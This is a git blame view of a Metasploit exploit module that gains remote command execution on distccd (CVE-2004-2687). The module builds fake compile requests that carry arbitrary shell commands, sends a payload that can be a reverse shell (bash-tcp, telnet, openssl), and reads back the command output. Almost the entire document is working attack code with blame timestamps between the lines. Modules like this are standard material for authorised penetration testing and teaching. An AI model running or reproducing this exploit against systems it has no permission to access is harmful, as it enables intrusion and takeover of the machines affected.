Files
metasploit-gs/modules/exploits/unix/misc/distcc_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

143 lines
3.1 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Tcp
2013-08-30 16:28:54 -05:00
2006-01-21 05:05:19 +00:00
def initialize(info = {})
super(update_info(info,
2006-01-21 05:05:19 +00:00
'Name' => 'DistCC Daemon Command Execution',
'Description' => %q{
This module uses a documented security weakness to execute
arbitrary commands on any system running distccd.
2013-08-30 16:28:54 -05:00
2006-01-21 05:05:19 +00:00
},
'Author' => [ 'hdm' ],
2006-01-21 22:10:20 +00:00
'License' => MSF_LICENSE,
2006-01-21 05:05:19 +00:00
'References' =>
[
[ 'CVE', '2004-2687'],
[ 'OSVDB', '13378' ],
2006-01-21 05:05:19 +00:00
[ 'URL', 'http://distcc.samba.org/security.html'],
2013-08-30 16:28:54 -05:00
2006-01-21 05:05:19 +00:00
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
2006-01-21 05:05:19 +00:00
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic perl ruby bash telnet openssl bash-tcp',
}
2006-01-21 05:05:19 +00:00
},
'Targets' =>
2006-01-21 05:05:19 +00:00
[
[ 'Automatic Target', { }]
],
2010-07-03 03:13:45 +00:00
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2002-02-01'
2010-07-03 03:13:45 +00:00
))
2013-08-30 16:28:54 -05:00
2006-01-21 05:05:19 +00:00
register_options(
[
Opt::RPORT(3632)
])
2006-01-21 05:05:19 +00:00
end
2013-08-30 16:28:54 -05:00
2012-06-18 14:34:02 -06:00
def check
r = rand_text_alphanumeric(10)
connect
sock.put(dist_cmd("sh", "-c", "echo #{r}"))
2013-08-30 16:28:54 -05:00
2012-06-18 14:34:02 -06:00
dtag = rand_text_alphanumeric(10)
sock.put("DOTI0000000A#{dtag}\n")
2013-08-30 16:28:54 -05:00
2012-06-18 14:34:02 -06:00
err, out = read_output
2018-07-26 11:23:16 -05:00
if out && out.index(r)
2012-06-18 14:34:02 -06:00
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
2006-01-21 05:05:19 +00:00
def exploit
connect
2013-08-30 16:28:54 -05:00
2006-01-21 05:05:19 +00:00
distcmd = dist_cmd("sh", "-c", payload.encoded);
sock.put(distcmd)
2013-08-30 16:28:54 -05:00
dtag = rand_text_alphanumeric(10)
2006-01-21 05:05:19 +00:00
sock.put("DOTI0000000A#{dtag}\n")
2013-08-30 16:28:54 -05:00
2012-06-18 14:34:02 -06:00
err, out = read_output
2013-08-30 16:28:54 -05:00
2012-06-18 14:34:02 -06:00
(err || "").split("\n") do |line|
print_status("stderr: #{line}")
end
(out || "").split("\n") do |line|
print_status("stdout: #{line}")
end
2013-08-30 16:28:54 -05:00
2012-06-18 14:34:02 -06:00
handler
disconnect
end
2013-08-30 16:28:54 -05:00
2012-06-18 14:34:02 -06:00
def read_output
2013-08-30 16:28:54 -05:00
2006-01-21 05:05:19 +00:00
res = sock.get_once(24, 5)
2013-08-30 16:28:54 -05:00
if !(res and res.length == 24)
2006-01-21 05:05:19 +00:00
print_status("The remote distccd did not reply to our request")
disconnect
return
end
2013-08-30 16:28:54 -05:00
2006-01-21 05:05:19 +00:00
# Check STDERR
res = sock.get_once(4, 5)
res = sock.get_once(8, 5)
len = [res].pack("H*").unpack("N")[0]
2013-08-30 16:28:54 -05:00
2012-06-18 14:34:02 -06:00
return [nil, nil] if not len
2006-01-21 05:05:19 +00:00
if (len > 0)
2012-06-18 14:34:02 -06:00
err = sock.get_once(len, 5)
2006-01-21 05:05:19 +00:00
end
2013-08-30 16:28:54 -05:00
2006-01-21 05:05:19 +00:00
# Check STDOUT
res = sock.get_once(4, 5)
res = sock.get_once(8, 5)
len = [res].pack("H*").unpack("N")[0]
2013-08-30 16:28:54 -05:00
2012-06-18 14:34:02 -06:00
return [err, nil] if not len
2006-01-21 05:05:19 +00:00
if (len > 0)
2012-06-18 14:34:02 -06:00
out = sock.get_once(len, 5)
2006-01-21 05:05:19 +00:00
end
2012-06-18 14:34:02 -06:00
return [err, out]
2013-08-30 16:28:54 -05:00
2006-01-21 05:05:19 +00:00
end
2013-08-30 16:28:54 -05:00
2006-01-21 05:05:19 +00:00
# Generate a distccd command
def dist_cmd(*args)
2013-08-30 16:28:54 -05:00
2006-01-21 05:05:19 +00:00
# Convince distccd that this is a compile
args.concat(%w{# -c main.c -o main.o})
2013-08-30 16:28:54 -05:00
2006-01-21 05:05:19 +00:00
# Set distcc 'magic fairy dust' and argument count
res = "DIST00000001" + sprintf("ARGC%.8x", args.length)
2013-08-30 16:28:54 -05:00
2006-01-21 05:05:19 +00:00
# Set the command arguments
args.each do |arg|
res << sprintf("ARGV%.8x%s", arg.length, arg)
end
2013-08-30 16:28:54 -05:00
2006-01-21 05:05:19 +00:00
return res
end
end